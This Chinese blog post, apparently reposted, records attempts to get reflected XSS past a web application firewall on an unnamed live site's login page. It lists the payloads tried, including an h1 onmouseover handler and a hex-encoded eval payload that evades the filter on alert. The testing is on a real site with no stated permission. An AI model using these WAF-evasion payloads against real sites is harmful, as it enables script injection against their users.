一次绕过waf进行xss的经历

原文链接;https://cloud.tencent.com/developer/article/1688902

一次绕过waf进行xss的经历

发布于2020-08-28 15:05:38阅读 8510

今天室友遇到一个好玩的网站,下面是一些尝试绕过Waf进行XSS的记录。首先该网站没有对左右尖号和单双引号做任何过滤或转义。且有未知的waf或者其他阻止恶意访问的手段。

首先我的访问为 login.asp?f=1 时候,页面关键源码为

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rSbeHyrO-1655308666160)(https://ask.qcloudimg.com/http-save/yehe-1225726/p7q306ryc8.png?imageView2/2/w/1620)]

可能是表示登录次数的一个东西?(猜测) 现在我们知道的信息是参数f会填充到 loginflag这个隐藏框内。

尝试

首先做一些基础的XSS尝试:

script标签
login.asp?f=1"><script>

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3ZhNjrMn-1655308666162)(https://ask.qcloudimg.com/http-save/yehe-1225726/cqjad8utt5.png?imageView2/2/w/1620)]

直接触发waf

img标签
login.asp?f=123" <img οnlοad="alert(x)" src="

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HDNsSl7i-1655308666164)(https://ask.qcloudimg.com/http-save/yehe-1225726/9inz0ex0lm.png?imageView2/2/w/1620)]

/login.asp?f=123" <img src="

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-WK3nfhqo-1655308666167)(https://ask.qcloudimg.com/http-save/yehe-1225726/ju6pzbcnz3.png?imageView2/2/w/1620)]

可以正常的释放引号与尖号,也可以完整释放出 img标签。但是只要和on事件搭上边,就触发了这个waf。https://www.w3schools.com/jsref/dom_obj_event.asp 这里的一些基础事件都做了尝试。无解。

iframe标签
login.asp?f=123"> <iframe SRC="https://www.baidu.com

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C1IrdlmZ-1655308666168)(https://ask.qcloudimg.com/http-save/yehe-1225726/fpefms4vnl.png?imageView2/2/w/1620)]

可解,但是总觉得没有弹窗是有点不爽的意思。

继续尝试执行JS

尝试使用H标签,例如h1

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sXJp3VJP-1655308666169)(https://ask.qcloudimg.com/http-save/yehe-1225726/gxfb7s3ane.png?imageView2/2/w/1620)]

可以正常放出onload事件,所以此处这个waf禁止的只是img的on事件。尝试弹窗:

login.asp?f=1"><h1 οnlοad="alert()">Hello</h1><img src="

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aHwMmKHH-1655308666171)(https://ask.qcloudimg.com/http-save/yehe-1225726/jxc303lb47.png?imageView2/2/w/1620)]

我们又回到了waf上面,尝试了alert、confirm、prompt都被拦截。但是可以console.log。

login.asp?f=1"><h1 οnmοuseοver="console.log(/cxk/)">Hello</h1><img src="

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-K6TsAjch-1655308666172)(https://ask.qcloudimg.com/http-save/yehe-1225726/ledtidi5ly.png?imageView2/2/w/1620)]

这就有点再次陷入尴尬,还是没有弹窗。不过我们已经可以执行js了,可以使用eval轻松的绕过。

login.asp?f="><h1 οnmοuseοver=eval("\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x22\x58\x53\x53\x22\x29")>Hello</h1><img src="

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JWsHtNkB-1655308666174)(https://ask.qcloudimg.com/http-save/yehe-1225726/bcd6zcx16g.png?imageView2/2/w/1620)]

总结

首先肯定是不存在大小写绕过的,不然也不会这么费劲。我们不难看出,该WAF主要针对两点做了一些手段。

  1. script标签
  2. img标签的 onXX事件
  3. onXX事件里面不能有弹窗函数 alert、confirm、prompt

治标不治本,当然针对XSS最傻瓜的处理办法还是不要放过尖号好引号。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值